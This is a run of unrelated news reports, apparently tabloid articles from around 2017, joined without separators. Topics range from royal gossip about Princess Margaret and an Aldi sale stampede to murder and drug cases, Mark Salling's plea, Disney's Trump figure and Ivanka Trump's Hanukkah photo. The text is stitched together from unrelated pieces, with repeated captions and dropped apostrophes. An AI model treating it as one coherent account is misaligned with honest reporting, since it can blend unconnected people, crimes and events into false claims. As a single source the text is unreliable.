A former Conservative MP told me that, when Edward Heath was Prime Minister, he had been placed next to Princess Margaret at a formal dinner.

Princess Margaret, the younger sister Queen Elizabeth II, and her husband photographer Antony Armstrong-Jones arrive in 1960 in London in the Opera House

After talking, or at least trying to talk, to the notoriously reticent Heath for half an hour, Princess Margaret suddenly lost her temper, saying: You are more boring than a provincial mayor! She then placed both hands on Heaths head and turned it away from her.

At another literary event, an elderly gentleman told me that he had been with Dr Roger Gilliatt when he had received the telephone call from Antony Armstrong-Jones asking him to be his best man. He was completely taken aback, because he barely knew him. Gilliatt was in fact chosen for the role only because the grooms other male friends were so clearly unsuitable.

Perhaps most interesting of all was the curator of a National Trust castle who came up to have a copy of Maam Darling signed.

He told me that he had recently found notes in the castles logbook of the occasion in October 1947 when Princess Margaret had stayed. As it happened, she had been accompanied on her overnight visit by Group Captain Peter Townsend, who was, at that time, an equerry to King George VI.

The log book clearly states that Townsend asked for his bedroom to be moved next to the Princesss, the curator told me.

At that time, the Princess was barely 17 years old. Their romance was not to become public for another six years: in his autobiography, Townsend claims not to have developed tender feelings towards her until 1951.

I have also been told that Townsends wife, Rosemary, felt bitter at being made to be the sole guilty party in their subsequent divorce, so as to save the Royal Family from embarrassment. My book may be finished, but the story goes on.
Shoppers have threatened to boycott Aldi for good after missing out on Dyson vacuum cleaners in the latest Special Buy offer.

German retail giant, Aldi, drew thousands of shoppers to its stores at the weekend with massive discounts on Dyson vacuum cleaners and portable air conditioners.

But when customers arrived to find chaotic scenes, and the sale items sold out, some threatened to shun the store altogether.

'I don't get into the Special Buys, but am disgusted by people fighting over the couple of items that are high demand,' one man said.

Frustrated Aldi customers have taken to social media to vent after the store's special buys for Dyson vacuums (pictured) sold out in minutes this weekend amid huge queues

'I just come to shop and I now plan my Saturday as to whether you have something crazy on as that's when I'll skip your groceries and go to Coles.'

He was not the only disgruntled Aldi customer to vent their frustrations with the chain following Saturday's madness.

'I went to the Bondi Junction store and there was no crowd control or ticket system, people were running and pushing each other... they only had 20 (vacuums) and the crowd was about 200,' one woman said.

'Never shopping at Aldi again.'

One woman took to Aldi Australia's Facebook page to accuse the supermarket of intentionally stocking very few specials.

'Aldi is doing publicity having some special and stocking ridiculously small quantities. Absurd and ridiculous,' she said.

Some claimed stores stocked as few as three of the items, while others were surprised by lines of dozens of people half an hour before the supermarkets even opened

Aldi Australia spokeswoman said it wasn't the supermarket's intention to cause disappointment for its customers.

'We will always strive to allocate optimal stock for our stores to meet forecast demand,' she told Daily Mail Australia.

The spokeswoman urged customers to phone its customer service team if their store ran out of a product they wanted - and the team would direct them to a nearby store with more stock.

Aldi customers reportedly snatched discounted vacuum cleaners from children and stole from each other's trolleys in Saturday's bizarre shopping frenzy.

Melbourne woman Mary McKenzie said she lined up outside the Frankston store, in Melbourne's south-east, on Saturday to be one of the first in line to buy the Dyson vacuum cleaner.

She said she was one of about 40 keen customers lined up outside the store before the doors opened.

'As it got closer to 8.30am you could feel a change, there was a determined look in their eyes and even adopted a different stance,' she told 3AW.

'People became feral.'

Melbourne woman Mary McKenzie said she lined up outside the Frankston store (pictured), in Melbourne's south-east, on Saturday to be one of the first in line to buy the Dyson vacuum cleaner

Ms McKenzie said she watched on as a child had the product taken right out of her hands.

'We had a little girl next to us called Ava, 10-years-old, and she said: 'I had my hands on the box and somebody came and took it from underneath me',' she said.

'She was so disappointed.'

Others were disappointed that the store did not enforce a limit on how many of the bargain products people could purchase, with some people seen grabbing multiple items

Frustrated Aldi customers took to social media to vent after the store's special buys sold out in minutes at the weekend.

Some claimed stores stocked as few as three of the items, while others were surprised by lines of dozens of people half an hour before the supermarkets even opened.

The highly sought after items included a handheld DC44 Dyson vacuum for $299 and a DC29 Multifloor for $349, as well as a $279 2kW air-conditioner.

One woman slammed the chain in an online post Saturday, commenting on Aldi's Facebook page that she was 'very disappointed' in her treatment at the Waurn Ponds store.

The German retail giant offered a range of bargains but many shoppers were greeted by empty crates upon arriving (pictured)

'Lined up to get the Dyson (first in line) and was appalled in the manner this huge event was handled,' she wrote.

'Knocking over elderly people, even had someone snatch (the item) out of my six-year-old's hand.'

Another Victorian woman told how her partner had visited Aldi Monbulk in Victoria where they had been met with an unruly group.

'He was elbowed by numerous women, pushed and shoved so they could buy multiple Dyson stick vacs.'

One woman slammed the chain in an online post, commenting on Aldi's Facebook page that she was 'very disappointed' and 'appalled' at how the situation was handled

Others were disappointed that the store did not enforce a limit on how many of the bargain products people could purchase.

'I think it's quite disgusting that there is no limit on your special buys per transaction,' a women vented.

Despite being one of the first 20 people through the door, the annoyed customer said she had missed out on an air conditioner, with one family taking six of the ten units in stock.

Another woman from Tamworth expressed similar dismay, claiming many people in line at her local store had missed out.

'I understand your special buys are popular but it's rather unfair you let people buy three or even four of the Dysons on offer,' she said.

'Many people who were in line missed out because others grabbed as many as they humanly could.'

' The queue at Aldi Eltham' one customer said alongside this photo

Lines spread through the carpark of the supermarket's stores, as people eagerly tried to get their hands on the products Saturday

The highly sought after items included a handheld DC44 Dyson vacuum for $299 (right) and a DC29 Multifloor for $349 (left)

Another angry shopper questioned how the products had sold out before stores had even opened.

'Can someone explain to me how it is possible to sell out of a product five minutes before a store opens, on the day it is meant to be available for purchase?' she wrote.

While one man compared the huge lines and violent proceedings to the notorious 'Black Friday' sales.

'The definition of bedlam, is trying to get a Dyson at Aldi on Saturday when the sale starts,' he wrote.

'This was probably the closest thing I have seen to the craziness of the Black Friday sales videos.'

However, some stores including those in Brunswick and Marrickville, reportedly allocated tickets to the first customers in line to help combat the pandemonium.

Following the chaos on Saturday customers called for the store to change their practices for future special buy sales.

'Why not have them at the front entrance, control the crowd and hand them out as people enter,' one person suggested.

One man compared the huge lines and violent proceedings to the notorious 'Black Friday' sales, calling the scenes 'bedlam'

Following the chaos on Saturday customers called for the store to change their practices for future special buy sales, asking for crowd control and fewer items to be sold to each person

While another added that enlisting 'a member of staff near the special offers' to police the crowds and allowing people fewer items could make sales smoother.

Similar scenes occurred earlier in the year when shoppers angled for a $99 grey armchair and at some stores found just three items available.

And Aldi Australia spokesperson told Daily Mail Australia on Saturday that the items were ordered 'months in advance' and were intended to be on sale for one week to keep the range 'fresh and interesting'.

'We do our best to supply our stores with sufficient stock however, sometimes they sell out faster than expected due to their exceptional value and high quality,' they said.

'If you miss out on a Special Buy we recommend asking the team at your local ALDI and they should be able to help with stock availability in your area.

'Special Buys have been a key part of the ALDI offering since we began operations in Australia in 2001.'

'Each Wednesday and Saturday different Special Buys arrive in store and it's not uncommon to see customers queuing before opening hours in anticipation of the Special Buys being released that day.'
A man who stabbed his stepdaughter in the heart while she was watching TV has failed to have his murder conviction overturned.

Raymond John Mead was found guilty last year of killing 23-year-old Sherelle Locke in February 2014 at her mother's Boronia Heights house, south of Brisbane.

During his trial the jury heard Ms Locke was pinned down on the sofa and grabbed by the throat before Mead plunged a knife 27cm deep into her chest.

Raymond John Mead was found guilty last year of killing 23-year-old Sherelle Locke (pictured) in February 2014 at her mother's Boronia Heights house, south of Brisbane

Mead then turned on his partner, Marlene Locke, who watched her daughter bleed to death.

He was jailed for life.

Mead took his case to the Court of Appeal in Brisbane in October, arguing a wide variety of reasons as to why the conviction was unsound.

He told the court inadmissible evidence had been presented at the trial, claimed Ms Locke committed perjury on 25 occasions while giving evidence against him, and said he was too drunk at the time to have formed a murderous intent.

He also accused his lawyers of being incompetent.

Mead (left) then turned on his partner, Marlene Locke (right), who watched her daughter bleed to death
Walt Disney World just unveiled President Donald Trump's animatronic figure on stage in the Liberty Square area at the Magic Kingdom theme park.

The 45th and current President of the United States has officially joined the Hall of Presidents, standing beside some of his predecessors including a seated Abraham Lincoln.

Twitter couldn't help but make fun of the Trump replica with one user blasting it as 'scarier than the real thing.'

Disney World just unveiled President Donald Trump's animatronic figure (pictured) on stage in the Liberty Square area at the Magic Kingdom theme park

Twitter couldn't help but make fun of the Trump replica with one user saying he resembled Kim Jong-Il

The robotic figure says 'Above all, to be American is to be an optimist  to believe that we can always do better  and that the best days of our great nation are still ahead of us.'

The Hall of Presidents has been a significant fixture at the Magic Kingdom since 1971 where visitors enter the theater inside a building that resembles Independence Hall in Philadelphia.

The long-standing attraction has a revamped 25-minute show about the history of the United States and those who governed it.

But Twitter users were too busy mocking the figure to talk about the historical attraction as one user said 'the Trump robot in the Hall of Presidents looks like a 71-year-old Chucky doll.'

A different tweet read 'Trump somehow looks "worse" than the real Trump. Like someone left him out in the sun too long.'

A different tweet read 'Trump somehow looks "worse" than the real Trump. Like someone left him out in the sun too long'

Another Twitter user mocked the figure saying 'the Trump robot in the Hall of Presidents looks like a 71-year-old Chucky doll'

A lot of people were unhappy that an animatronic figure of Trump was going to be displayed at Disney World.

Around the time of Trump's inauguration a Change.org petition was created with people protesting against the businessman being in the Hall of Presidents.

The petition, which drew support from more than 15,000 people falling just short of its goal of 25,000, demanded that Disney not allow of Trump to speak due to his 'degrading, insulting and demeaning' comments, the New York Times reported.

People on Twitter had a field day blasting the new robotic Trump at Disney World
The Big Banana and Big Prawn may be facing some rich competition as Milo prepares to launch its very own larger than life tin.

Milo Australia and New Zealand has suggested building a Big Milo Tin near the Nestle factory in Smithtown, on the NSW north coast, where the chocolate drink is created.

The tin would be built in 2019, in time for Milo's 85th birthday.

The Big Banana and Big Prawn may be facing some rich competition as Milo prepares to launch its very own larger than life tin

Milo Australia and New Zealand have suggested building a Big Milo Tin near the Nestle factory in Smithtown, on the NSW north coast, where the chocolate drink is created

Scientist Thomas Mayne developed and launched Milo at the Sydney Royal Easter Show in 1934.

Fans of the iconic Australian drink expressed their excitement on social media this week after Milo Australia and NZ posted their plans on Facebook.

Several people suggested opening a cafe inside the Big Milo Tin, while others asked the company to turn the tin into a water tank 'so it's not useless.'

A woman who grew up in Smithtown said she has 'enjoyed Milo all of [her] life and gladly will support this idea.'

More than 17,000 people 'liked' the post on Facebook.

The tin would be built in 2019, in time for Milo's 85th birthday (pictured are other Big landmarks around the country)

Pictured is the the Big Merino in Goulburn, in the Southern Tablelands of New South Wales

Nestle Factory Manager Mat Oram told News.com.au that he has 'been blown away by the level of support.'

'What started as a fun idea has quickly grown into something much bigger, and we're delighted to give something back to Milo fans and celebrate the rich 83-year Australian heritage of the Milo brand.'

'With the history of Milo deeply rooted in Smithtown, it will be wonderful to share this celebration with the local community and put this great town on the map,' Mr Oram said.
An Australian accountant could be sentenced to death after he was arrested in Bali, allegedly caught with 19.97grams of crystal methamphetamine in his suitcase.

Pictures surfaced on Tuesday showing Isaac Emmanuel Roberts sitting in a media conference wearing orange prisoner garb and a black balaclava over his head.

He was pictured beside two other suspects guarded by police officers who wore balaclavas and carried rifles.

The 35-year-old Australian man, born in Toowoomba Queensland, was arrested after officials allegedly found the drugs in his luggage on December 4 this year.

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Roberts (pictured), was reportedly arrested after officials found the drugs in his luggage on December 4 this year

Roberts was allegedly found with 6.22 grams of ecstasy, 14.32 grams of methamphetamine and 22 mils of a psychotropic substance.

Details of his arrest were kept secret until Tuesday, when the drug bust was announced by Indonesian officials.

'We have arrested an Australian, IER, for bringing drugs into Bali,' Customs and Excise Officer Husni Syaiful said.

Roberts reportedly arrived in Bali on a Thai Airways flight from Bangkok on December 4.

Roberts (pictured) reportedly arrived in Bali on a Thai Airways flight from Bangkok on December 4

Roberts (pictured) was allegedly found with 6.22 grams of ecstasy, 14.32 grams of methamphetamine and 22 mils of a psychotropic substance

Roberts (pictured) reportedly arrived in Bali on a Thai Airways flight from Bangkok on December 4

The drugs were allegedly discovered when his luggage was X-rayed.

Indonesia carries the maximum death penalty for drug importation crimes.

Speaking to media after the conference, Mr Roberts reportedly said he was invited to Indonesia by a customs officer.

'I was working with a customs officer and they knew I was going to bring something,' he told reporters.

'I'm just a f*****g addict. They want to waste resources on addicts, they want to punish addicts? This is ridiculous. What about the f..g importers? I wasn't going to sell it to anyone here, no one was going to use it here. This is ridiculous. This is an embarrassment.'

Indonesian police alleged Roberts admitted to being a drug user, but denied he was a dealer.

Isaac Roberts is escorted by officers, followed by media, at the customs office in Kuta, Bali

Isaac Roberts escorted by armed police officers from the media conference on Tuesday

Anti-Narcotics Agency officials show an Australian man (second from left), an American man (centre), and a Malaysian man (second from right)

The men arrested were allegedly caught with the drugs including methamphetamine, in their possession

Speaking to media after the conference, Mr Roberts (pictured) reportedly said he was 'just a f*****g addict'

Roberts is being held in jail at police headquarters in Denpasar, Indonesia.

When the police investigation is finished, he will reportedly be transferred to Kerobokan prison - where he will await trial.

Roberts, a Queensland man, ran as a Liberal Democrat candidate in the seat of Higgins in Melbourne in 2009.

He was unsuccessful, polling eighth out of 10 candidates.

Roberts describes himself as a Chartered Accountant and Registered Tax Agent on his personal website.

'I specialise in personal income tax returns, however years of experience in corporate tax have given me the confidence to service many business clients,' he said.
Former Glee star Mark Salling has pleaded guilty to possession of child pornography.

The actor appeared with a shaved head as he entered the plea in a downtown Los Angeles federal court on Monday and told the judge he is on medication for depression. He is scheduled to be sentenced on March 7.

Prosecutors and Salling have agreed to ask a judge to sentence the actor to between four to seven years in prison.

The 35-year-old will also be required to register as a sex offender, pay restitution and abide by residency restrictions.

Former Glee star Mark Salling has pleaded guilty to possession of child pornography. The actor appeared with a shaved head (left and right) in court as he entered the plea in a downtown Los Angeles federal court on Monday. He is scheduled to be sentenced on March 7

Prosecutors and Salling (arriving at court, Monday) have agreed to ask a judge to sentence the actor to between four to seven years in prison

Authorities were reportedly tipped off by one of Sallings ex-girlfriends and he was arrested in December 2015 before being released on $20,000 bail.

Lieutenant Andrea Grossman, commander of the LAPD Internet Crimes Against Children Task Force, said at the time: 'It doesnt matter who you are or what you do, if you hurt a child you will be held accountable.'

She added: 'These images are more than photographs, they are child abuse.'

The actor reached a plea agreement with prosecutors in October as opposed to the maximum 20-year sentence the charge carries. in which he admitted he possessed images of prepubescent children between the ages of three and five.

The agreement states a search warrant found more than 50,000 images of child porn on Salling's computer and a thumb drive downloaded between April 2015 and December 2015.

Authorities were reportedly tipped off by one of Sallings ex-girlfriends and he was arrested in December 2015 before being released on $20,000 bail (Pictured, left to right: Max Adler as Dave (center) and Salling as Puck on Glee in March 2015)

The actor (pictured, left and right, on Glee) reached a plea agreement with prosecutors in October. The agreement states a search warrant found more than 50,000 images of child porn on Salling's computer and a thumb drive downloaded between April 2015 and December 2015

Salling was previously sued by his ex-girlfriend Roxanne Gorzela for sexual battery.

Gorzela claimed that he forced her to have unprotected sex with him and later, when she confronted him over his actions, Salling allegedly pushed her to the ground and caused injury to her knees.

The pair settled the case for a reported $2.7million when Salling admitted to causing her to fall and injure herself through negligence.

He is best known for playing bad boy Noah 'Puck' Puckerman on the Fox musical dramedy Glee.
An extensive search is underway in south Sydney after reports a person entered the water and failed to resurface.

Emergency services were called to the scene at Como Railway Bridge, north of Como Marina, about 1.35pm Tuesday, following accounts a 23-year-old person was in trouble in the water.

New South Wales Ambulance told Daily Mail Australia that six ambulance crews were on the scene, as well as a rescue helicopter and special operations unit.

An extensive search is underway at Como Railway Bridge in south Sydney after reports a 23-year-old man jumped into the water but had failed to resurface

Police were told a number of local people had been jumping off the bridge when the man went missing.

A search and rescue operation was underway, with police from Sutherland and the Marine Area Command also involved.

Police are urging anyone with information in relation to this incident to call Crime Stoppers on 1800 333 000.
The grieving family of a nine-year-old boy run down and killed on Christmas Day by a drunk driver has slammed the man's lenient sentence.

The driver, Adrian John Murray, 25, was driving through Springwood, Brisbane, while intoxicated when he became distracted by Christmas lights.

He lost control of his ute, careened into a parked car, struck Josiah Sisson and then crashed into a house.

On Monday Murray was sentenced to seven years behind bars, but he will be eligible for parole in just two years, leaving Josiah's father Karl Sisson outraged.

The grieving family of a nine-year-old boy run down and killed on Christmas Day by a drunk driver (pictured) has slammed the man's lenient sentence

The driver, Adrian John Murray, 25, was driving through Springwood, Brisbane, while intoxicated when he reportedly became distracted by Christmas lights (pictured is Josiah Sisson)

Murray lost control of his ute (pictured), careened into a parked car, struck Josiah Sisson and then crashed into a house

'Josiah was nine, it's not even nine years. It's a slap in the face,' said Mr Sission, a pastor, News.com.au reported.

'How much was my son's life worth? Nothing? Life seems to have little value, even that of a child.

'Unfortunately the justice system is bound by previous cases' sentences. But the message is not getting through. What will it take, Australia?'

Despite his anger over the sentence, Mr Sisson said he has forgiven Murray, and embraced him at an emotional church service earlier this year.

On Monday Murray (pictured) was sentenced for seven years behind bars, but he will be eligible for parole in just two years, leaving Josiah's father Karl Sisson outraged

'Josiah (pictured) was nine, it's not even nine years. It's a slap in the face,' said Mr Sission, a pastor

On December 25 2016 Josiah had been looking at Christmas lights with his brother, 17, and a family friend's two daughters when tragedy struck.

Witnesses at the scene said Josiah's mother Bonita broke down over the body of her son in the street as neighbours rushed to perform CPR until paramedics arrived.

He was rushed to hospital in critical condition, before his family made the decision to turn off life support on December 27.

Despite his anger over the sentence, Mr Sisson said he has forgiven Murray, and embraced him at an emotional church service earlier this year (pictured)

Josiah was rushed to hospital in critical condition, before his family made the decision to turn off life support on December 27 (pictured is the funeral service)

'Our family has lost the joy of Christmas forever,' said Josiah's mother in court during the emotional victim impact statement readings.

Murray had a blood alcohol level of 0.162 per cent, and his friends had begged him not to get behind the wheel.

Murray's lawyer Simon Lewis said his client was 'deeply and genuinely remorseful' and believes he can never atone for his crime.
On Nov. 16, 2017, Tri County students, Meila Gronemeyer and Pierce Damrow, attended the Nebraska Music Educators Association All-State Elementary Chorus.

They rehearsed seven songs in three different languages with guest clinician, Rollo Dilworth. Over 350 fourth and fifth grade students across Nebraska rehearsed and then performed on the Lied Center stage in Lincoln.

Two Tri County Senior High students auditioned and were selected to perform in the 2017 Nebraska Music Educators Association All-State Chorus on Nov. 18.

Bailey Taylor and Krista Reynolds rehearsed in Kimball Recital Hall on Nov. 16 through Nov. 18 with guest clinician, Kristina Caswell MacMullen.

More than 400 high school students across the state learned seven pieces of music in three different languages. The final performance was held on the Lied Center stage in Lincoln.

What a great opportunity for Tri County musicians. Congratulations!
Hanoi's nudists have taken to defying the conservative communist nation's norms by swimming naked in Vietnam's Red River.

The group meet to shed their clothes for a cheeky dip, a game of chess, or yoga headstands in the buff - which they believe comes with health benefits.

Hanoi's ragtag nudist club carry out their daily exercises before returning to their normal jobs in a country where pornography is banned.

Three men go through their exercise routine next to the Red River in Hanoi, Vietnam

One man bathes in the river and another, whose manhood is covered by a plant, lies on the banks, which is littered with garbage

Nudists also brush aside concerns that the Red River might not be clean enough for swimming

Three men on the Red River's edge. The group meet to shed their clothes for a cheeky dip, a game of chess, or yoga headstands in the buff - which they believe comes with health benefits

A balding nudist swimmer with his two dogs by the southern banks of the Red River in Hanoi

'It's important for us to come here because we want to be healthy, we call ourselves addicts,' said Nguyen Tuan Nghia, 43, a self-taught Buddhist who's been disrobing at the meeting spot for 18 years.

For Nghia, who recently embraced Protestantism, getting naked is his way to return to infancy, making him feel like he was just 'given birth (to) by Jesus or Buddha'.

Most of them have straight-laced day jobs as civil servants, journalists, or even state officials.

Many turn up every day and a temperature of 18C (64F) did not keep a few dozen skinny dippers out of the water on a recent afternoon, though many had to warm up over hot tea by the fire.

A temperature of 18C (64F) did not keep a few dozen skinny dippers out of the water

They say shedding their clothes makes them feel uninhibited, a rare chance to stray from the pack in the one-party state where social compliance and strict norms are taught from a young age.

'I feel relaxed, and it's fun.

'I feel at ease when I come here, I exercise and it makes me feel better when I return to my day job,' vendor Nguyen Hoang Duong, 23, said, wearing nothing but an army green cap.

Though public nudity remains taboo in much of Asia, nudist swimming clubs have popped up in conservative China, and tourist-haven Thailand boasts several naturalist retreats mostly for foreigners, while public bathhouses have long been popular across Japan and South Korea.

But nudist bathing and beach-going is rare in Vietnam, a one-party state where porn is banned and communist propaganda posters are ubiquitous.

Nudity in art, photography, film and dance is subject to strict censorship by eagle-eyed authorities, though some exhibitions featuring nudes have been given the greenlight in recent months.

None of this fazes the men at Hanoi's nudist enclave, who also brush aside concerns that the Red River might not be clean enough for swimming.

They are not worried by rising levels of trash on the river's edge, nor do they pay much attention to reports about polluted runoff from nearby factories.

'We've never had any skin disease or feel itchy at all, we think it's quite clean here,' said 67-year-old Le Duc Lam, who says his own health has improved after swimming in the river, which flows from southern China to the South China Sea east of Hanoi.

For Lam, the skinny dipping sessions under the 115-year-old Long Bien bridge are also a chance to escape the commotion of the fast-growing capital and have a bit of fun with friends.

Though public nudity remains taboo in much of Asia, nudist swimming clubs have popped up in conservative China, and tourist-haven Thailand boasts several 'naturalist' retreats mostly for foreigners

His group is one of a handful that meet in different spots along the waterway, including one for women to swim in the buff.

Some hope the trend will catch on.

'Vietnamese people should be more open when they talk about nudist bathing.

'We shouldn't be so modest about it like in the past,' said naked bather Nguyen Thi Thuy, wearing nothing but the hair on her head.
Kevin Spacey was nowhere to be seen at the premier of All The Money In The World

Kevin Spacey was nowhere to be seen at the premier of All The Money In The World after being cut from the film over misconduct allegations.

Spacey's conspicuous absence came at the film's world premiere on Monday at the Samuel Goldwyn Theater in Beverly Hills, California, just six weeks after his role was given to Christopher Plummer.

Part biography and part thriller, 'All the Money in the World' dramatizes the kidnapping in Italy of John Paul Getty III and his grandfather's refusal to pay a $17million ransom despite being the richest man in the world.

In a rare move, director Ridley Scott announced in November that he would reshoot the finished film with Plummer after allegations of sexual misconduct against Spacey emerged, saying he feared negative publicity would damage the film's prospects.

Christopher Plummer arrives at the world premiere of All the Money in the World on Monday night. Kevin Spacey, whose role Plummer took, was nowhere to be seen

Victory Lap: Seen left to right are Plummer, director Ridley Scott, Mark Wahlberg and Michelle Williams. The cast and crew scrambled to re-shoot all of Spacey's scenes in mere weeks

Put 'Er There: Wahlberg (left) congratulates Scott (right) as actors Charlie Plummer (no relation to Christopher) and Michelle Williams look on.

Christopher Plummer speaks with journalists as he arrives at the world premiere of All the Money in the World'. He said he did not watch Spacey's scenes before re-shooting them

Christopher Plummer, left, and director Ridley Scott arrive at the world premiere

Spacey issued an apology for the first reported incident, involving actor Anthony Rapp.

He has since been accused of misconduct by more than 30 men and dropped from the next season of the Netflix TV series 'House of Cards.'

The allegations against Spacey could not be independently verified. The Oscar-winning actor is seeking unspecified treatment, and a representative on Monday did not respond to a request for comment.

The Sony Pictures movie, now starring Plummer along with original cast members Michelle Williams and Mark Wahlberg, will be released on December 25.

Plummer, 88, said in an interview with Reuters that he sought to bring humanity to Getty, although he said he 'made no pretense at research' for the role ahead of a nine-day reshoot in London and Rome in mid-November.

Michelle Williams is seen at the premiere. She plays the mother of the kidnapped boy

Substitution: Plummer is seen in a scene from the film in the role of billionaire J. Paul Getty

Dropped: This scene with Spacey (right) was one that had to be re-shot before the premiere

He said did not see Spacey's original scenes before the re-shoot.

'I had to follow the writing, all in a very short space of time,' Plummer said.

'I saw him more vulnerable than the script suggested... so he would have some dimension and some humanity.'

Plummer, Scott and Williams were nominated last week for Golden Globe awards.

Scott said he hoped the publicity around the decision to reshoot six weeks before its scheduled release would help rather than overshadow the film.

'I think it may have people attracted to it out of curiosity who normally wouldn't come and see this film.'
Two men arrested during a dramatic police operation in Sydney's Centennial Park last week have been charged with supplying 900 kilograms of cocaine, even though police haven't actually seized the drugs.

Kigi Kamuta, 39, and Aukuso Junior Paulo, 34, were caught in the park on Wednesday in a vehicle allegedly with guns, ammunition and $650,000 cash, and were on Tuesday charged with the additional drug supply offences.

A third man, Royce Royal Hura, 27, was also arrested.

The pair appeared last week charged with unlawfully possessing weapons, participating in a criminal group and dealing with the proceeds of crime, but on Tuesday were given an extra charge of supplying a large commercial quantity of prohibited drug.

The value of the 900 kilograms of cocaine is worth around $180 million.

Kigi Kamuta, 39, and Aukuso Junior Paulo, 34, were caught in the park on Wednesday in a vehicle allegedly with guns, ammunition and $650,000 cash (pictured is one of the arrests)

Police fired non-lethal gas canisters through the van's windscreen as they apprehended the trio

Kamuta, Paulo and Hura were arrested in broad daylight in front of shocked mothers and children inside the popular Sydney park.

Just after noon on Wednesday last week, police smashed the passenger-side window of the white Toyota Pajero. They also stopped a white rental van 20 metres away, which had four holes in its windscreen.

Police fired non-lethal gas canisters through the van's windscreen as they apprehended the trio.

Paulo was signed to the Parramatta Eels in 2010 before moving clubs, and Hura played for the Eels' under-20s side the same year.

A fourth man was also arrested on Friday as a part of the same investigation. They were charged with possessing identity information, dealing in the proceeds of crime and possession weapons and ammunition.

Kamuta, Paulo and Hura were arrested in broad daylight in front of shocked mothers and children inside the popular Sydney park

Despite the arrests, police are yet to acquire the 900 kilograms of cocaine

Despite the arrests, police are yet to acquire the 900 kilograms of cocaine.

'There are 900 kilograms of cocaine that will not reach the streets of Sydney due to the good work of those staff from the organised crime squad and our partner agency,' Detective Chief Superintendent Tony Cooke told reporters in Sydney.

'Inquiries are continuing in relation to the location of the drugs.'

He also said they anticipate more charges and arrests will be made.
The Kushners posed for a sweet family photo to celebrate the 7th night of Hanukkah on Tuesday.

Ivanka Trump had a white Peter Pan collar peaking out at the top of her outfit, complete with a pair of opaque black tights.

The first daughter, 36, tied her blonde tresses back and away from her face as she cradled Theodore, 1, in her arms. She captioned the adorable photo 'The 7th night of Chanukah!'

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The Kushners posed for a sweet family photo to celebrate the 7th night of Hanukkah on Tuesday that Ivanka Trump uploaded to Instagram

Arabella, 6, took center stage in the cute family picture as she spread her arms wide with a big grin plastered on her face.

Jared held their other son Joseph, 4, in his arms as he proudly posed next to his wife of eight years.

Hanukkah, which means dedication and is also known as Chanukah, begins on the 25th day of the Jewish month of Kislev and lasts for eight days.

Since her move to Washington at the beginning of the Trump administration, Ivanka has spoken very little about her conversion to Judaism before she married Jared.

Ivanka holds her son Theodore alongside Jared at a Hanukkah reception hosted by President Donald Trump in the East Room of the White House in Washington, DC, December 7

Ivanka and her husband are pictured here at her father's Hanukkah celebration party

Despite this Ivanka has been very active on Instagram with regards to her faith, as she has shared several festive pictures over the past week.

Additionally, she joined the rest of her family including her husband and children at the White House to celebrate an 'especially special' Hanukkah on December 7.

Meanwhile earlier today Ivanka was pictured leaving Fox & Friends this morning in an all-new outfit, and smiled at the few passersby who had gathered to witness her exit.

The senior White House adviser wore a form-fitting blue dress and kept her hair down in a slick blow-dry during the interview, which focused on the GOP's proposed tax plan.

By the time she left Fox's studios in New York City's Midtown, Ivanka appeared to have completely changed her clothes, and cut an all-black silhouette, save for a few details.

On her way out: Ivanka Trump left Fox & Friends this morning in an all-new outfit, and smiled at the few passersby who had gathered to witness her exit

Greetings: The first daughter, 36, turned to acknowledge the handful of children and adults who were taking her photo

She waved as she exited the studios and walked towards her parked car, and acknowledged the handful of children and adults who were taking her photo nearby.

Ivanka appeared to be in a sunny disposition, perhaps excited to be back in her hometown of New York City, which she left for Washington, D.C. after her father became president and she and her husband Jared Kushner, 36, both took on senior roles in his administration.

Fox's headquarters in New York City are located just a 13-minute walk away from Trump Tower, where Ivanka's brand opened a new store just last week.

Two-toned: She also had a white Peter Pan collar peeking out at the top of her black outfit

Joyful: The first daughter smiled at onlookers as she made her way out of the Fox studios

Snaps: A few adults and children took Ivanka's photo on the New York City sidewalk

During her interview on Fox & Friends this morning, Ivanka said Republicans are on track to approve tax cuts before Christmas.

'In business, until it's done it's not done, but we feel very, very confident, so the momentum is there. We're very excited,' she said. 'When the vote is done, we'll be done, but we're going to deliver historic tax reforms, and it's going to happen before Christmas.'

The president's daughter has had a heavy hand in framing the GOP's tax reform plan as beneficial to the middle class and pushing through a large increase in the child tax credit. She traveled across the country, appearing at public events, and made several trips to Capitol Hill.

After reaching a deal Friday, Republican lawmakers now plan to approve tax legislation in the House on Tuesday and the Senate on Wednesday.

Previously: The first daughter wore a form-fitting blue dress and kept her hair down in a slick blow-dry during the interview, which focused on the GOP's proposed tax plan

'It's gonna be the fulfillment of an enormous campaign promise, and something that's just tremendously important for the American people,' Ivanka said Monday. 'So we feel it. This is something the people of this country want.'

At several turns the bill was nearly derailed, with Florida Senator Marco Rubio saying he could not vote for the plan until the child tax credit was increased to the level he and other conservatives in the Senate had demanded.

Senator Bob Corker at the same time said that he could vote for a bill that blows a new hole in the federal deficit.

Two Republican senators, John McCain and Thad Cochran, are battling health issues that have kept them out of Washington.

Different: Ivanka also donned black stilettos with five-inch heels during her Fox appearance

Senator McCain has returned to Arizona for physical therapy and rehabilitation following a hospital stay. He'll remain there until after the Christmas holiday.

President Donald Trump said Sunday that he'd spoken to McCain's wife, Cindy, and it was his understanding that the senator would fly to Washington if his vote was necessary.

Vice President Mike Pence meanwhile delayed by several days a visit to the Middle East so he can preside over the Senate during the vote, in which he may need to act as tie-breaker.

President Trump has been claiming for months that the overhaul would not only pass this year, but that it would be approved by December 25.

Group: She took time to post for a shot with the program's three presenters as she visited Fox's Midtown headquarters for the interview

He told reporters on Saturday as he departed for Camp David: 'This is going to be one of the greatest gifts for the middle income people of this country that they've ever gotten for Christmas.'

The bill that Republicans released Friday evening keeps the seven existing tax brackets. It lowers the rates, however, on everyone, including the nation's wealthiest earners, and slashes corporate taxes from 35 per cent to 21.

Corporate taxes will be permanently lowered, while individual rates will decrease for a period of less than 10 years. The temporary tax cut must be reapproved in 2025 or it will disappear.

Another significant change to the code is a cap on state and local tax deductions of $10,000. Republicans claim that middle-income Americans in high-tax state will save money nonetheless if they take the standard deduction, which is set to double to $12,000 for individual filers and $24,000 for couples.

The child tax credit is also doubling to $2,000 after last-minute finagling, led by Rubio, $1,400 of which will be refundable.

Timeline: The senior White House official said Republicans are on track to approve tax cuts before Christmas

Statement: Ivanka told Fox & Friends: 'When the vote is done, we'll be done, but we're going to deliver historic tax reforms, and it's going to happen before Christmas'

Touting the bill Monday on Fox, Ivanka said taxpayers 'want simplification. They want a tax code they can understand. They want lower corporate taxes and understand the benefit if they're - the companies they work for can invest in their work forces, invest in new equipment and ultimately lead to wage growth.'

